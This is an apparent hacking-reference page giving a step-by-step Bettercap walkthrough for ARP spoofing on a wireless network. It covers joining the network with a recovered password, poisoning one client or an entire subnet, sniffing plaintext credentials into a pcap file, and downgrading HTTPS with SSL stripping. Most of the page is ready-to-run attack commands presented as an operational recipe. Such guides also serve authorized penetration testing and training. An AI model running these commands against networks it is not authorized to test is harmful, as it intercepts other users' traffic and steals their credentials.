# ARP Spoofing and Traffic Interception with Bettercap

> Perform ARP spoofing attacks using Bettercap to intercept and manipulate network traffic, enabling MITM positioning on local wireless networks.

- **URL:** https://hackindex.io/platforms/wireless/exploitation/arp-spoofing-traffic-interception-bettercap
- **Path:** Wireless > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/wireless/exploitation.md)
- **Published:** 2026-03-17
- **Updated:** 2026-08-11

Once connected to a wireless network (whether through legitimate credentials, a recovered PSK, or via an evil twin), ARP spoofing positions your machine as the gateway for other clients on the same segment. Traffic from targeted clients flows through your machine before reaching the real gateway, enabling passive interception of all plaintext protocols and active manipulation of unencrypted sessions. This works on both open networks and networks where you have the PSK.

Connect to the target network with managed mode before starting bettercap. This attack runs from a connected client interface, not a monitor mode interface.

## Connect to the Target Network

```bash
nmcli dev wifi connect "TargetNetwork" password "recoveredpassword"
```

## Start bettercap and Probe the Network

```bash
bettercap -iface wlan0
```

```bash
net.probe on
net.show
```

`net.probe on` sends ARP and mDNS probes to discover all active hosts on the subnet. `net.show` lists discovered hosts with IP, MAC, vendor, and hostname. Identify the gateway IP and the target client IPs before starting the spoof.

Protocols intercepted by net.sniff once the spoof is active:

- HTTP requests, responses, and form submissions
- FTP credentials and file transfers
- SMTP/IMAP/POP3 authentication
- DNS queries (useful for mapping client activity)
- Any other plaintext protocol on the wire

## Enable ARP Spoofing with Bettercap

Target a specific client or the entire subnet. To target a specific client and the gateway:

```bash
set arp.spoof.targets 192.168.1.25
arp.spoof on
```

To target all clients on the subnet:

```bash
set arp.spoof.targets 192.168.1.0/24
arp.spoof on
```

Enable internal spoofing so bettercap also ARP-poisons hosts within the subnet against each other (not just toward the gateway). This extends MITM to host-to-host traffic, not just traffic leaving the LAN:

```bash
set arp.spoof.internal true
net.sniff on
```

## Capture Credentials with net.sniff

`net.sniff on` captures and displays credentials from plaintext protocols including HTTP, FTP, SMTP, and others automatically. bettercap parses and highlights credential-bearing packets in the output.

To write all captured traffic to a pcap file for later analysis:

```bash
set net.sniff.output /tmp/bettercap-capture.pcap
net.sniff on
```

## HTTP Proxy for SSL Stripping

To downgrade HTTPS connections to HTTP where possible, enable the HTTP proxy with SSL stripping:

```bash
set http.proxy.sslstrip true
http.proxy on
```

SSL stripping success depends on whether the target site uses HSTS preloading. Sites with HSTS enforce HTTPS at the browser level and cannot be stripped. Sites without HSTS or with short max-age values are candidates for downgrade.

## Stop the Attack

Stop ARP spoofing cleanly to restore normal ARP tables on targeted clients:

```bash
arp.spoof off
net.sniff off
```

## References

- [bettercap: arp.spoof module documentation](https://www.bettercap.org/modules/ethernet/arp.spoof/) - ARP spoofing targets, internal flag, and full parameter reference
- [bettercap: net.sniff module documentation](https://www.bettercap.org/modules/ethernet/net.sniff/) - Traffic sniffing, credential capture, and pcap output reference